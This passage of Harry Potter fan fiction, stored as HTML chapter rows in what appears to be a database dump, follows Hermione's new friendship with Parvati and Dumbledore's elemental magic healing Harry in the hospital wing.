fearing that\nshe might upset Parvati by the rest of the sentence.</p>\n\n<p>&quot; ...you\nmean not just focused on my hair and Harry and his fortunes for the week?&quot;</p>\n\n<p>Hermione\nblushed because Parvati had said what she was thinking about.</p>\n\n<p>&quot; ...Urmm...well,\nyeah. You and Lavender are always talking all night long about your favorite\nmakeup stuff and which boy scores what on that chart of yours.&quot;</p>\n\n<p>&quot; Well...\ngrowing up in a Quidditch mad family with eight brothers you pick up a lot of\nthings. The only person who is not interested in Quidditch in my family is Padma.&quot;</p>\n\n<p>&quot; You\nseem to know a lot about being a keeper. Are you going to try out?&quot;</p>\n\n<p>&quot; Me?&quot;\nParvati reacted to the question, the same way she would have had reacted to a\ndate with the dark lord himself. Utter amazement.</p>\n\n<p>&quot; Why\nnot?... I&#8217;ve seen you on a broom, you&#8217;re not afraid. You seem to know a lot\nmore about what to look out for as a keeper than any of the boys up\nthere.&quot;</p>\n\n<p>&quot; I\ncan&#8217;t...&#8221; Parvati explained. &#8220; I&#8217;m a girl.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; What\ndoes that have to do with anything?&quot; it looked to Hermione, as though Parvati\nthought the selectors would be biased against another female in the team.\n&quot;... There&#8217;s three girls in the team already and one of them is the\nCaptain.&quot;</p>\n\n<p>&quot; None of\nthem have a boyfriend do they?&quot; said Parvati.</p>\n\n<p>&quot; Boys\nlove girls who play Quidditch&quot; said Hermione. It was true, sometimes she\nwished she was interested in the game so she could talk to Harry or Ron when\nthey started to talk about the game.</p>\n\n<p>&quot; ...No.\nNo. No.&quot; Parvati was quite adamant, &quot; Boys love girls who know lots\nabout Quidditch. They don&#8217;t like the ones that can play better than\nthemselves.&quot;</p>\n\n<p>&quot; You\nreally believe that?&quot;</p>\n\n<p>&quot; I have\nto, I can play better than three of my older brothers, and I still get picked\nafter Padma who doesn&#8217;t like the game at all.&quot;</p>\n\n<p>&quot; Oh...\nI&#8217;m sorry... but I&#8217;m sure the boys here are different&quot; said Hermione,\ntrying to encourage Parvati to take part. She didn&#8217;t want the house to loose\nthe Quidditch cup because they had the second best keeper. She didn&#8217;t know if Parvati\nwas any good, but decided is she knows this much she was bound to be good.</p>\n\n<p>There had been\ntwo blows already in the morning for the Gryffindors. One was the announcement\nthat Professor Snape took great pleasure in delivering. - Lee Jordan had been\nremoved as the commentator for the Quidditch games because of his &#8216;bias&#8217;\nagainst the Slytherins. Since the commentator could only be removed at the\nbeginning of the season, he took his case to the board of Governors and got\nthem with the influence of Lucius Malfoy to get rid of him. Malfoy who showed\nup to show evidence of the &#8220;injustices&#8221; of the Gryffindors.</p>\n\n<p>The second had\ncome only minutes ago, when Harry fell unconscious in front of the whole class.\nThis is something the house did not need. &quot;...don&#8217;t you want Gryffindors\nto win the Quidditch cup&quot;</p>\n\n<p>&quot; I\ndo...&quot; Parvati&#8217;s head hung low, &quot; but I don&#8217;t want to become\nunpopular with the boys...&quot;</p>\n\n<p>&quot; So you\nthink becoming a ditzy girl, would impress them?&quot; retorted Hermione.</p>\n\n<p>&quot;\nLavender gets lots of attention and so does Hanna Abbott from Hufflepuff...\nanyway... shouldn&#8217;t you be in the library?&quot; teased Parvati.</p>\n\n<p>Hermione got\nslightly miffed at Parvati for her crack, before realizing that Parvati must\nhave had felt the same way when people assume, just because she was friends\nwith Lavender she is a ditzy girl.</p>\n\n<p>&quot;Okay...\nI get the point. I shouldn&#8217;t think that way about you if I don&#8217;t want others to\nthink the same way about me. Right?&quot;</p>\n\n<p>&quot; Yep.\nLet&#8217;s start over, without all the wrong idea about the other person.&quot;</p>\n\n<p>&quot; In that\ncase... I&#8217;m Hermione Granger. What is your name?&quot; she said, holding out\nher hand. Parvati took her hand shook it. &quot; I&#8217;m Parvati Patil. Nice to\nmeet you too.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny\nprotested more than anyone else when Hagrid and rest of the Gryffindors and\nquite a number of other students were pushed back out of the room. She was\nmuttering to herself, when she collided with the sandy haired boy again. &quot;\nOhh, Sorr...&quot; started Terry, but stopped when he saw who had bumped into.</p>\n\n<p>&quot; I&#8217;m soorr..&quot;\nthe same happened to Ginny too.</p>\n\n<p>&quot; You!&quot;\nsaid Terry, before deciding that Ginny was trouble and made a run in the\nopposite direction, leaving Ginny quite confused. She had no idea what she had\ndone to cause that reaction in the boy, so she went back thinking of ways to\nsneak back into the Hospital wing that night. <i>&#8216; I just wish I had an\ninvisibility cloak,&#8217; </i>thought Ginny, as she made her way back to her charms\nclass, of which there was only a few minutes left.</p>\n\n<p>&quot; Ms.\nWeasley,&quot; cried Professor Flitwick, &quot; What is it that you had to do\nthat took that long?&quot;</p>\n\n<p>&quot; Oh....\nI&#8217;m sorry professor. I heard Harry Potter was in the hospital wing (*gasps*\nfrom the classmates), so I ran th...&quot; Ginny did not get to finish as\nProfessor Flitwick interrupted her.</p>\n\n<p>&quot; Potter...did\nyou say?&quot; Ginny nodded, &quot; What happened to him?&quot;</p>\n\n<p>&quot; He fell\nunconscious...&quot;</p>\n\n<p>Professor Flitwick\nlooked unsettled.</p>\n\n<p>&quot; Do you\nknow why?&quot; he asked her slowly and softly, as though he was asking\nsomething very personal.</p>\n\n<p>&quot;\nHermione, told me she thinks Harry used a very strong shielding charm for a\nlong time.... We don&#8217;t know for sure because Madam Pomfrey and Hagrid close off\nthe hospital wing&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>As time went\non in the Charms class, sitting next to a person she would probably never enjoy\nsitting, Hermione kept feeling bad about how she had treated Harry for the last\ntwo days. She should have had been proud of Harry, but instead she was angry\nwith him. Parvati was a very good listener when it came to other people&#8217;s\nproblems. She had, in a few minutes, put reasons behind Hermione&#8217;s actions.\nThough Parvati had very little information to go on and it happened shortly\nafter they had shook hands to get rid of any old ideas they had about the other\nperson. </p>\n\n<p>&quot; You\ndon&#8217;t find it odd that Harry Potter would suddenly start to study?&quot; asked\nHermione.</p>\n\n<p>&quot; No. Not\nafter what happened last year. I know, I would have been dead if it was me who\nwas taken to the dark lord. If I survived then I would do everything in my\npower to get strong... and it seems without being allowed to do magic over the\nholidays, he did the only thing he could. Learn from books. We both would have\nhad done the same in the same position.&quot;</p>\n\n<p>Hermione could\nonly nod at those sentences. Those sentences were already in her mind, she just\nneeded to hear them from someone else. Though she didn&#8217;t need incentives to\nread books &#8211; but she knew some people needed them.</p>\n\n<p>&quot; I think\nyou reacted that way, because you were always the brainy one in the group. I\nstill remember what Professor Trelawney said about what you three did in your\nfirst year. You were the one who did the logical stuff with the potions...&quot;</p>\n\n<p>Inwardly\nHermione knew that Professor Trelawney got her information by asking the other\nprofessors, but did not say anything since Parvati had great respect for her. &quot;\n... so when Harry finally beat you in something you got really angry. Not because\nhe beat you, but because now you think he has no need for you. In a way you\nthink you&#8217;re unworthy of his friendship now that he got more than you.\nBut...&quot; Parvati beamed at Hermione, &quot; ...you know that even if he\ndoesn&#8217;t need your talents he needs your friendship.&#8221;</p>\n\n<p>Hermione\nlooked unsure. </p>\n\n<p>&#8220; Besides, how\nsmart could he have gotten, if he didn&#8217;t even know why you were upset with him.&#8221;\nAfter she finished ,Hermione looked at Parvati with respect that she gave only\nto two other female teachers. They were Professor McGonagall and Professor\nVector. Very soon after that, the two girls headed for the charms&#8230; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>A small\nexplosion next to her brought Hermione out of her daze. Parvati had managed to\nget her shimmering charm to short-circuit. Hermione was not sure, but something\nin the smile she gave to Hermione, made her think it was a deliberate act to\ncause some trouble in the class. Hermione just gave her a secretive smile back.</p>\n\n<p>Lavender next\nto Parvati was very angry with Parvati, for letting bossy Hermione enter their\nclique. After all, she was the one that had insulted her beloved Professor\nTrelawney, before leaving the Divination class forever. Parvati was quick to\npoint out that three fifth year girls going to Hogsmede without boys, was not\nas bad as just one or two of them going together. So they could have a girls\nday in sometimes &#8211; just having fun without the boys acting all silly.</p>\n\n<p>Though\nHermione did not really think that she would be left alone, as Harry would\nalways made her tag along to where ever he went for fun, she played along for Parvati&#8217;s\nsakes, who seemed determined to get her new friend get along with her long time\none. </p>\n\n<p>Over the next\nfew days Hermione became very good friends with both Parvati and Lavender, as\nLavender learned not to take what Hermione say about Professor Trelawney\nseriously and Hermione learned to keep her thought regarding Professor\nTrelawney as quiet as possible.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 32, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 32<br>\n<b>Chapter Name:</b> Ancient Magic</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Is he\nall right?&quot; asked someone from the back of the small, but growing crowd.</p>\n\n<p>&quot; Yeah...\nwhen will he be back in classes?&quot;</p>\n\n<p>&quot; What\nhappened?&quot;</p>\n\n<p>&quot; Did the\nsnake thing bite him&quot; asked Parvati.</p>\n\n<p>&quot; Is he\nfeeling better?&quot;</p>\n\n<p>&quot; Is...&quot;\nit went on for a whole minute as they all asked Hagrid and Madam Pomfrey about\nHarry.</p>\n\n<p>&quot; QUITE\nDOWN!&quot; bellowed Hagrid, finally having had enough of the questions.</p>\n\n<p>&quot;\nChildren...&quot;said Madam Pomfrey in her softest voice, &quot; We need the\ncorridor cleared...now! It&#8217;s an emergency&quot;</p>\n\n<p>&quot; But we\nwant to stay&quot; said Ginny, who looked like the ringleader of the whole of\nthe crowd, when they all nodded behind her.</p>\n\n<p>&quot; I&#8217;m\nsorry ter do this Ginny.... but its got to be done.&quot;</p>\n\n<p>&quot; But...&quot;\nshe protested</p>\n\n<p>&quot; Not\nbuts, young lady&quot; came the harsh voice of Madam Pomfrey, but it softened\nwhen she saw Ginny&#8217;s hurt face, &quot; It&#8217;s going to be all right, child.\nProfessor Dumbledore is looking after him, but we need the corridors\ncleared.&quot; Said Madam Pomfrey.</p>\n\n<p>&quot;\nEveryone out!&quot; yelled Hagrid, but this time there were no objections.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>After all the\nchildren were gone, Hagrid and Madam Pomfrey had their discussion.</p>\n\n<p>&quot; I&#8217;ll go\nand look for the head boy and girl&quot; said Madam Pomfrey, &quot; while you\nkeep and eye on the doors.&quot;</p>\n\n<p>&quot; Hurry\nback soon...&quot;</p>\n\n<p>&quot; I\nwill...&quot; she said going out of the exit, leading to where the staff\noffices were. She needed to find the register to look up where the head boy and\ngirls were.</p>\n\n<p>A few minutes\nlater, inside the closed room, Professor Dumbledore was deep in thought as he\npaced the small distance to the next bed, when he sensed the arrival of the two\nstudents that he had been expecting. He could almost imagine what they were\ntalking about, but that came from over sixty yeas of teaching at Hogwarts, not\none of his many powers.</p>\n\n<p>&quot; It\nseems we have to start...&quot;</p>\n\n<p>He waved his\nwand at Harry&#8217;s bed and with a small flash all the beds in the room were gone,\nthough Harry floated in mid-air, with his arms draping by his side. He waved\nhis wand again, this time four glass spheres appeared. </p>\n\n<p>* Now the\nelements...* he thought to himself.</p>\n\n<p>He pointed his\nwand at the one that was by his left leg, and said, &quot; Elos es domine echos\nmaran Incendio&quot;, making something that looked like fire, appear inside the\ntranslucent sphere with a small bright flash. He tapped the top of the sphere\nand a stream of fire like rope connected to Professor Dumbledore&#8217;s wand. Then\nProfessor Dumbledore connected the streams to Harry&#8217;s body by tapping the end\non Harry&#8217;s chest.</p>\n\n<p>He went to the\nother sphere near Harry&#8217;s leg and did something similar, though the incantation\nwas slightly different, &quot; Elos es domine echos maran Aquae&quot;. This\ntime water appeared inside the sphere. Professor Dumbledore did the same thing\non the top of the sphere to connect Harry and that sphere, as he had done for\nthe fire one.</p>\n\n<p>Professor\nDumbledore repeated the process, until he had wind (blue misty vapor &#8211; &quot; Elos\nes domine echos maran Tundra&quot; and earth (&quot;Elos es domine echos maran\nGaea&quot;). When it was all finished Harry&#8217;s unconscious body was connected to\nthe four elemental spheres by a thread of that element and Professor Dumbledore\nwas on the brink of his own unconsciousness.</p>\n\n<p>&nbsp;</p>\n\n<p>Using this\nmagic to heal something was not a hard task, but to heal someone very sick,\nlike Harry was, required the summoning of massive amounts of elemental powers.\nIt tended to weaken the wizard and if the summoner became unconscious in the\nprocess, then the elemental powers called up vanishes &#8211; rendering all healing\ndone totally useless. Professor Dumbledore watched as the four spheres started\nto move about on an imaginary shell of a sphere, occasionally stopping on top\nof Harry&#8217;s chest before continuing. </p>\n\n<p>Once he had\nrecovered from summoning the elements, Professor Dumbledore started gathering\nhis powers again to summon the fifth and final element. Void. His element.</p>\n\n<p>It was the\nforbidden element and as such it was only used in the very advanced ancient\nmagic. Most ancient magic however needed so little magic to be called up that\nthey did not show up like it had for this particular healing spell (exception\nwas the protection that Lily had cast on Harry). Void was also the element that\nonly he could call upon, since it was he who was the guardian of the forbidden\nelement. Because of Professor Dumbledore&#8217;s mastery of this element, lord\nVoldemort feared him. </p>\n\n<p>&nbsp;</p>\n\n<p>Professor\nDumbledore was afraid that Harry&#8217;s growth in magic would be stalled, if he were\nto infuse Harry with this type of magic, but then again he had no choice. At\nthe rate that Harry was deteriorating (Professor Dumbledore did not want to\nworry anyone... very fast), if he was not treated quickly, he would die of\nmagic poisoning. </p>\n\n<p>When Harry\nunknowingly used his power, he had caused magic to flow into his bloodstream.\nHis human body had not yet gone through a metamorphosis, which would have had\nprevented excess magic to go into his muscles by coating the walls of his veins\nwith a substance that would have had absorbed the excess magic. The reason\nHarry fell unconscious was because the magic had started to seep into his\nbrain, making it impossible for him to controls his own body any more. </p>\n\n<p>&#8216; The fifth\nand final element...,&#8217; he thought, as he made something sharp appear at the end\nof the wand. He used it to puncture one of his fingers, letting a drop of blood\nappear where it had been punctured.</p>\n\n<p>The blood\nwithout any incantations did the will of its master. &nbsp;It formed a sphere of\nglass around itself, much like the one around all the other elements. In his\nblood Professor Dumbledore carried the forbidden element and only the one who\nis the guardian and master of the element can use this power. That is why Lord\nVoldemort had not tried to take the blood of Professor Dumbledore to rise back\ninto the world of the living. If he had, he would been destroyed from within. </p>\n\n<p>Void can be\nsummoned in two forms...one like he had done here, and the other...was to call\nupon on it, like he had with the other four elements. He did not dare do it\nthis time as in his weakened state after summoning all the other elements, he\nwas sure his mastery of the element would not prevent the destruction of the\nwhole school if something went wrong. </p>\n\n<p>The fifth\nelement however did not move around like the other three, but it stayed over\nthe exact spot where the threads were connected to Harry&#8217;s chest, though out\nside the sphere that the other four elements made.</p>\n\n<p>Then the most\namazing part of the magic began.</p>\n\n<p>First\nProfessor Dumbledore sent a red spark at the ceiling to make it disappear,\nleaving the room exposed to the sun. Something else happened as well. Then the\nfour elements started to move so fast that they would only be viewed when one\nof them stopped between Harry and the sphere containing the void element.\nProfessor Dumbledore sent another spark into the sky above, it was different\nthis time. It was orange and it was more like a sustained burst. </p>\n\n<p>Where it\ndisappeared into the sky, a few seconds later, a small dark cloud appeared. It\ngrew rapidly, too rapidly to be a natural phenomenon, until the sky (as far as\nthe eye could see) became as dark as the night. Unearthly shades of lightning\ndance from cloud to cloud. Though the darkening of the sky was not noticed, the\nloud rumbling noises made everyone, wherever they were, look up to the sky. </p>\n\n<p>Three separate\nlightning strikes of different colors danced to one cloud and connected. It was\nalmost as if it were fuelling something in there clouds there, then with a\nbrightness and loudness not usually attributed to thunder, the combined might\nof the three sizzled through the air and into the room containing Harry. </p>\n\n<p>There it\npassed through the blood in the smallest sphere and then the sphere of Fire\nthat had stopped below it, before striking Harry&#8217;s body. Every nerve endings in\nHarry&#8217;s body was set alight with fire of seven hells. Harry though unconscious\nbefore this, woke up. He screamed in pain... but both he and Professor\nDumbledore were powerless to stop this. Once it had began, he didn&#8217;t not have\nthe power to stop it.</p>\n\n<p>For the next\nthree and a half-hours...this torture continued. The lightning would gather\nbefore striking Harry, after passing through the blood (void element) and then\none of the other elements. Each time, Harry would scream in pain. And Professor\nDumbledore closed his eyes as the white hot lightning smashed into Harry&#8217;s\nbody. </p>\n\n<p>When the final\nlightning strike hit his body, it had passed through all the spheres,\ndestroying them as it went through. </p>\n\n<p>Still in pain\nfrom the magic done on him, Harry barely managed to squeak out, &quot; He&#8217;s\nafter Karkaroff....&quot; before fainting.</p>\n\n<p>&nbsp;</p>\n\n<p>One of the\nhardest things that Alicia had to do in her whole life was to hear the\nscreaming coming from the room where Professor Dumbledore was with the\nunconscious body of Harry. She had to force herself to stay where she was,\nkeeping the silencing charms replenished on one of the two doors that lead into\nthe hospital wing. </p>\n\n<p>Very soon\nafter she had cast her spell, as ordered by Madam Pomfrey, the screaming\nstarted. That had been well over three hours ago.&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 33, '\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center"><b>Chapter Number:</b> 33<br>\n<b>Chapter Name:</b> The long Explanation...</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was not\nusually as absent minded in her classes &#8211; infact she never was like this. Her\nmind again wondered to what she had thought of a few minutes ago, when Parvati\nhad brought her out of her daze with that small explosion : &#8216;<i> How could I\nthink, Harry would be so...so...&#8217; </i>&nbsp;she really did not know what word to use\nto describe what she thought of Harry before. It was just too horrible think of\nnow. The more she thought about it, the angrier she would get at herself for\nbehaving like a spoilt brat. She just hoped when she was going to visit Harry that\nnight, if he was awake, he would forgive her. She hoped he would be as lenient\non her as he was with Ron the year before. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Frustrated with\nherself, she turned her head towards the window, only to be greeted by an\nunearthly sight. Something that even in the magical world seemed unreal. &quot;\nWhat in heaven&#8217;s name is that?&quot; she said loudly, managing to get attention\nfrom fair number of the students around her. A set of cries and aw&#8217;s broke out\nthat finally grabbed everyone&#8217;s attention.&nbsp; &quot; Wha...&quot; started to say\nRon, but he stopped when he saw what Hermione had seen. &quot; What are you\nguys...&quot; started Parvati, &quot;...Oh! By Merlin&#8217;s beard! What is that?!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Parvati managed to\nget the attention of Lavender, who screamed upon seeing the phenomenon. Hearing\nthe scream, Ron&#8217;s dazed mind snapped out of wonderment. He closed his gaping\nmouth. Everyone other than Ron, Hermione and Parvati had a mixture of panic and\nhorror written on their face, as they thought deatheaters were attacking the\nschool. Ron and the others had thought nothing. They were just too stunned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Before anyone else\nfrom the class could overreact, the people who were paying attention to\nProfessor Flitwick before this scene broke out, saw that he had received a\nsmall piece of paper on his desk right, and right after reading it, the teacher\nhad cast a silencing spell on the room. So that none of the other adjacent\nclasses didn&#8217;t panic. &quot;Ahem...&quot; he coughed intentionally. &quot;...what\nyou see happening there, over the Hospital Wing is ancient magic.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This revelation was\nfollowed by a round of gasping noises. &quot; Professor Dumbledore asks me to\ninform you that...&quot; he said, reading the paper in front of him, &quot; what\nyou see unfold in front of your eyes, is the magic being used to revive Mr.\nPotter. Please do not go into the Hospital wing. The rooms are sealed until as\nsuch a time as the magic is completed....&quot; he looked up from the parchment\nand said, &quot; ...that means, get comfortable, we&#8217;re staying here for a\nwhile. Lunch will be served in the room.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Professor Flitwick\nwaited a while to let the students get over the shock &#8211; no one did, but he went\nback to giving notes. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ali Pasha did not\nlike teaching pupils whom he could sense were destined to become dark wizards,\nbut he had to teach everyone otherwise his position at Hogwarts was in\njeopardy. As much as he hated to admit it, Malfoy was one of the best students\nhe had ever had, with the possible exception of Hermione, but then again no one\never has been.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;Harry really was\nnot his student, as what Harry now knows, came from Professor Dippet some 13\nyears ago. Part of the reason Ali Pasha had accepted the teaching job was to have\na chance at seeing Harry fight &#8211; maybe even have a sparring session with him. His\nown teacher and mentor (long time before Harry came to Morocco), Professor Dippet had told him that Harry was to become a\nvery strong warrior. He told him that Harry was really good and was good enough\nto be his equal or even better than Ali.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That simple\npossibility made him accept the teaching post at Hogwarts. That is why he was\nso surprised when it seemed like Harry was barely qualified to be on the same\nmat as Hermione, on the first few days of Harry and Hermione&#8217;s training, as he\nwas getting beaten up by her lot. It made him doubt whether or not he should\nhave had accepted the job.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But his doubt\ndisappeared as soon as he found out Harry had apparated with the Nundu, as it\nshowed great potential for Harry, far more than anyone else. Professor Pasha\nhad assumed that somehow Harry would survive the encounter with the creature\nand makes it alive to Morocco. There he would increase his powers, until\nhe somehow would be able to jump back in time to during the war and bring about\nits end, under an alias. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ali Pasha always\nwanted to test his strength against Harry, or more like the legendary figure\nHarold Parker, whom he had heard stories about when he was fighting in the war.\nThough Ali Pasha was now known as the best practitioner of the arts, he was\nalways regarded as second to Harold Parker, who fought a large number of\nwizards by himself on both sides to stop both sides from fighting. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It had saddened Ali\nPasha that Harry would not be participating in the Dueling tournament, but he\nunderstood Harry&#8217;s reasons. Harry held back his own potential as much as he\ncould. His encounter with Voldemort that Professor Dumbledore had told him\nabout made Ali realise that Harry held back and second guessed his every action\n&#8211; for they could have consequences he wasn&#8217;t ready to deal with. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ali&#8217;s suspicions\nabout Harry were confirmed, sort of, when the Professor Dumbledore refused to confirm\nthem &#8211; or deny them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione ate her\ndinner in silence - this was not weird. The weird part was the fact that she\nand the 5th year Gryffindors and Hufflepuffs were eating them at their Charms\nclass. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When it was time\nfor their lunch, plates and goblets started to appear for each person. Several\ntimes during the lunchtime, Hermione had starred out of the window at the\namazing lighting and thunder show. She wanted to go and see the magic, but not\nbecause she wanted to examine how it was done or any other academic pursuit. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She wanted to see\nhow Harry was doing. Dread, depression and waves of panic hit Hermione as she\nsat there, moving food around her plate.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Alicia wanted to\ntake the first shift for watching Harry, but Professor Dumbledore was very\ninsistent that it would be Roger Davies who would be the first person on guard.\nHe gave no reason, but as always, he had the last word.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When the student&#8217;s\nwere allowed to leave their classes, their teachers told them that the classes\nfor that day had been cancelled. The Hufflepuffs celebrated, since their next\nclass was supposed to be with Professor Snape. Seamus had almost lost his\nnerves trapped in the room. Finally before they were supposed to leave for\ntheir individual classes (it started to rain after the magic had finished),\nSeamus gathered up all his courage and stepped up to Hannah Abbot.</p>\n\n<p class="MsoNormal">&quot;ermm...excuse\nme, Hannah.&quot; He said with a definite tremble in his voice.</p>\n\n<p class="MsoNormal">&quot; What is it\nSeamus?&quot; she asked very softly.</p>\n\n<p class="MsoNormal">&quot; I wasss....&quot;\nhe stopped in the middle of his sentence when he found Hanna&#8217;s blue eyes glued\nto his face.</p>\n\n<p class="MsoNormal">&quot; You were\ngoing to...&quot; she offered, with a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her smile seemed to\nfill Seamus with unimaginable amount of energy as his demeanor suddenly\nchanged. He became very confident as to what he needed to do. &quot; I was\nwondering... would you like to go to the end of term ball with me?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The question\nshocked everyone present except for Hermione. Even Dean Thomas, who knew about Seamus&#8217;s\nplan, did not think his friend had enough courage to go through with it &#8211; let\nalone that day!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; You\nwhat?&quot; was her reaction, while her friends were either giggling or stood\nwith an open mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It took a second\nfor her to realize what Seamus had said. She could not help but be flattered by\nthe very very early invitation. As she figured it, Seamus must have had thought\nthat his only chance to ask her out was now, at the beginning of the term\nrather than ask at the end of the term and risk the possibility that she\nalready found herself a date. She realized that he was afraid that the older\nboys would ask her out before he had a chance to do so.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Well,&quot;\nstarted to say Hannah, &quot; I would love to...&quot; </p>\n\n<p class="MsoNormal">Seamus&#8217;s smile on\nhis face became twice as big, </p>\n\n<p class="MsoNormal">&quot; but...&quot;</p>\n\n<p class="MsoNormal">&quot; Oh!\nNo!&quot; said Seamus. His face faltered, as his heart jumped off a cliff and\nonto jagged rocks below. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; ...it&#8217;s too\nearly. How about we go to the next Hogsmede trip together? If we have a good\ntime until the ball, I&#8217;ll go with you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;WhooHooo!&quot;\nsaid Seamus, hardly capable of sustaining his own happiness.</p>\n\n<p class="MsoNormal">He was not the only\none. All the Gryffindor boys let out enough whoops and catcalls at the pair to\nmake them both blush a fairly deep shade of red.</p>\n\n<p class="MsoNormal">&quot; Well, that certainly\nwas surprising...&quot;said Parvati.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender, equally\namused said, &quot; Yeah, I&#8217;ll say.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Parvati looked at\nHermione to ask how she felt about the situation, but did not ask as there was\na very somber expression on her face. She moved closer to Hermione and\nenveloped her in a hug. &quot; He&#8217;ll be alright...Professor Dumbledore is with\nhim. If there was something really bad with him, I&#8217;m sure he would have had\ntold us.&quot; Parvati stopped hugging Hermione and said, &quot; We&#8217;ll go by\nthe Hospital Wing...&quot; her eyes sparkling, she said, &quot; ...maybe\nthey&#8217;ll let us see him&quot;. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Parvati knew it was\nnot really true about the headmaster telling them, but she wanted to comfort\nHermione. The headmaster wouldn&#8217;t want to make the entire school upset earlier\nthan it was needed &#8211; if needed at all. Hermione knew that as well, but could\nsee no reason for her to mope any longer. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She scanned the\npockets of people in the sea of people that were passing the three girls,\n&quot;...where is Ron anyway?&quot;</p>\n\n<p class="MsoNormal">&quot; I think I\nheard him say something to Neville... Oh yeah... He said he was going to the\ngreat hall to get some food.&quot;</p>\n\n<p class="MsoNormal">&quot; Well Let&#8217;s\ngo.&quot; said Parvati, shoving Hermione in the direction of the Hospital Wing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; WHAT. DO. YOU.\nMEAN. HE&#8217;S. NOT. ALLOWED. ANY. VISITORS?&quot; yelled Hermione at the top of\nher voice. She had emphasised each and every one of the words in that small\nsentence in the hopes that it would go through the Headboy&#8217;s head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; I..I..I\ndon&#8217;t know...I was told not to let any one in. Especially you.&quot; He covered\nhis head with his hands, and cowered against the door. He was afraid of the\nGirl&#8217;s wrath. It was quite understandable, since Hermione at five foot eight\nwas a full foot taller. Though he was the headboy and two years older, he had\nseen Hermione fight with Harry and he did not think he knew enough (specially\nafter the golden flame he had seen Hermione do).</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was going\nto deal a beating to the headboy right there, damn the consequences, had Parvati\nand Lavender not jumped on top of her and forced her to the ground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Hermione...this\nis not like you!&quot; said Parvati, as she used her knee to hold down\nHermione&#8217;s right arm and use both of her hands to restrain the other one.\nBecause she was on her side lying on top of Hermione, this stopped Hermione\nfrom getting up. Her legs were held together by Lavender who was sweating at\nthe amount of effort it took to control Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Well! I have\nto see him. I have...have...have to talk to...&quot; Hermione did not finish\nthe sentence, because she broke down 